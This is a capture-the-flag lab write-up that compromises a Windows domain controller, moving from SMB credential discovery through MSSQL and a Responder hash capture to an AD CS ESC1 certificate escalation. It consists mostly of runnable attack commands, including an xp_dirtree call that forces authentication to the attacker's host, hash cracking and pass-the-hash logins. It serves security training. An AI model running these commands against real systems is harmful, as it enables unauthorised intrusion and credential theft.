Summary

I used credentials found in an SMB share to connect to MSSQL, and captured the NetNTLMv2-SSP hash of the user running the SQL Server service using Responder. From the shell, I moved laterally using credentials found in an error log file. Then, I discovered an AD CS misconfiguration where certificates were issued based on self-declared identity without proper verification, which allowed me to obtain a certificate for the Administrator account and achieve privilege escalation.

Recommendation

Assuming this were a real environment, I would recommend the following:

• Remove confidential files from publicly accessible shares. The pdf file should have been removed.
• Harden the AD CS configuration. The CA should not allow certificates to be issued based on self-declared identity. Additionally, certificate enrollment permissions should be restricted to only the users and groups that require them.

Reconnaissance

Let's start reconnaissance with nmap.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.228.253

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.228.253

53(DNS), 88(Kerberos), 389(LDAP) and 445(SMB) are open, so we can conclude that it is Windows with AD service.

sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.228.253

No interesting UDP is open.

Enumeration

nxc smb 10.129.228.253

Machine name is DC.
Domain is sequel.htb.

Let's add the host entry to /etc/hosts

echo "10.129.228.253 dc.sequel.htb sequel.htb" | sudo tee -a /etc/hosts

Let's try an anonymous (guest) SMB login against the target and enumerates shares, domain users, and domain groups

nxc smb 10.129.228.253 -u 'guest' -p '' --shares --users --groups

An unusual share is revealed: Public.

Let's investigate the content.

smbclient //10.129.228.253/Public -U 'sequel.htb\guest%'

PDF file is there.

Download and see its inside.

mget *

There is a credential!
PublicUser : GuestUserCantWrite1

Let's enumerate what services this credential is valid for.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.228.253 -u 'PublicUser' -p 'GuestUserCantWrite1' $a; done; done; for p in ssh ftp; do nxc $p 10.129.228.253 -u 'PublicUser' -p 'GuestUserCantWrite1'; done

This credentail is valid for MSSQL!

We can access its MSSQL by following.

impacket-mssqlclient 'PublicUser:[email protected]'

For shell acquisition, I checked the MSSQL service for any suspicious databases or insecure configurations, but nothing was usable. After some research, I found that we can try Responder to capture the NetNTLMv2 hash of the user running the SQL service.

Activate responder in Kali.

sudo responder -I tun0 -v

Have the target SQL Server attempt a directory listing against my Kali machine.

EXEC MASTER.sys.xp_dirtree '\\10.10.17.153\test', 1, 1

target machine

kali machine

NTLMv2-SSP Hash is obtained!

Let's crack it.

echo 'sql_svc::sequel:beb8535ba44c71d4:DA07067E4F92AC598FF145B2C2CD5F44:0101000000000000805F4F229855DD016AC43DB8DD1781D00000000002000800510053005000430001001E00570049004E002D0049004C004C0058005A0037005A004E004C0037004F0004003400570049004E002D0049004C004C0058005A0037005A004E004C0037004F002E0051005300500043002E004C004F00430041004C000300140051005300500043002E004C004F00430041004C000500140051005300500043002E004C004F00430041004C0007000800805F4F229855DD01060004000200000008003000300000000000000000000000003000002262E7B6C0A20649E5A5099C96C599C056B22733BDA484706963412EACF2130C0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310037002E003100350033000000000000000000' > hash.txt
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Since this task consumes a lot of resources, I ran it on macOS instead.
A credentail is revealed: sql_svc : REGGIE1234ronnie .

Let's enumerate what services this credential is valid for.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.228.253 -u 'sql_svc' -p 'REGGIE1234ronnie' $a; done; done; for p in ssh ftp; do nxc $p 10.129.228.253 -u 'sql_svc' -p 'REGGIE1234ronnie'; done

It's valid for WINRM.

Login from WINRM.

evil-winrm -i 10.129.228.253 -u sql_svc -p REGGIE1234ronnie

I checked for any unusual services or folders and found SQLServer folder and an ERRORLOG.BAK file.

download ERRORLOG.BAK

The file contains a credential as follows.

Ryan.Cooper : NuclearMosquito3

Let's enumerate what services this credential is valid for.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.228.253 -u 'Ryan.Cooper' -p 'NuclearMosquito3' $a; done; done; for p in ssh ftp; do nxc $p 10.129.228.253 -u 'Ryan.Cooper' -p 'NuclearMosquito3'; done

It's valid for WINRM.

User.txt is obtained as follows.

evil-winrm -i 10.129.228.253 -u Ryan.Cooper -p NuclearMosquito3

type C:\Users\Ryan.Cooper\Desktop\user.txt

Privilege Escalation

For privilege escalation, I attempted to investigate credentials and Kerberoasting, but found nothing valid. After some research, I found that AD CS (certificate services) misconfigurations could be used to get an administrator shell. After a second look, I noticed that the winPEAS output mentioned a potential vulnerability as follows.

Also, I noticed many ssl-cert entries in the nmap output. From what I've researched, having multiple certificate entries apparently indicates that the machine is running its own certificate authority (AD CS).

Let's use certipy-ad to check for vulnerability.

certipy-ad find -u '[email protected]' -p 'NuclearMosquito3' -dc-ip 10.129.228.253 -vulnerable

[...]

It indicates that it's vulnerable for ESC1 which means a low-privileged user can obtain a certificate that identifies them as the Administrator.

I referred to HackTricks for the command: https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.html#misconfigured-certificate-templates---esc1

certipy-ad req -u '[email protected]' -p 'NuclearMosquito3' -dc-ip 10.129.228.253  -ca 'sequel-DC-CA'  -template 'UserAuthentication' -upn '[email protected]'

certipy-ad req -u '[email protected]' -p 'NuclearMosquito3' -dc-ip 10.129.228.253  -ca 'sequel-DC-CA'  -template 'UserAuthentication' -upn '[email protected]'

certipy-ad auth -pfx 'administrator.pfx' -username 'administrator' -domain 'sequel.htb' -dc-ip 10.129.228.253

This command didn't work due to the error of Clock shew too great.

So, I checked the difference between the target and mine, and adjusted the time using faketime.

D=$(ldapsearch -x -H ldap://10.129.228.253 -s base -b "" currentTime 2>/dev/null | awk -F': ' '/^currentTime/{t=$2;print substr(t,1,4)"-"substr(t,5,2)"-"substr(t,7,2)" "substr(t,9,2)":"substr(t,11,2)":"substr(t,13,2)}') ; OFF=$(( $(date -u -d "$D" +%s) - $(date -u +%s) )) ; echo "DC=$D UTC / Difference=+${OFF}s (~$((OFF/3600))h$(( (OFF%3600)/60 ))m)"

faketime "+28736 seconds" certipy-ad auth -pfx 'administrator.pfx' -username 'administrator' -domain 'sequel.htb' -dc-ip 10.129.228.253

NTLM Hash is obtained!

Check what service we can use.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.228.253 -u 'administrator' -H 'a52f78e4c751e5f5e17e1e9f3e58f4ee' $a; done; done; for p in ssh ftp; do nxc $p 10.129.228.253 -u 'administrator' -H 'a52f78e4c751e5f5e17e1e9f3e58f4ee'; done

Finally, we get root.txt through WINRM.

evil-winrm -i 10.129.228.253 -u administrator -H a52f78e4c751e5f5e17e1e9f3e58f4ee

type  C:\Users\Administrator\Desktop\root.txt

Lesson Learned

• Understand AD CS vulnerability and use of certipy.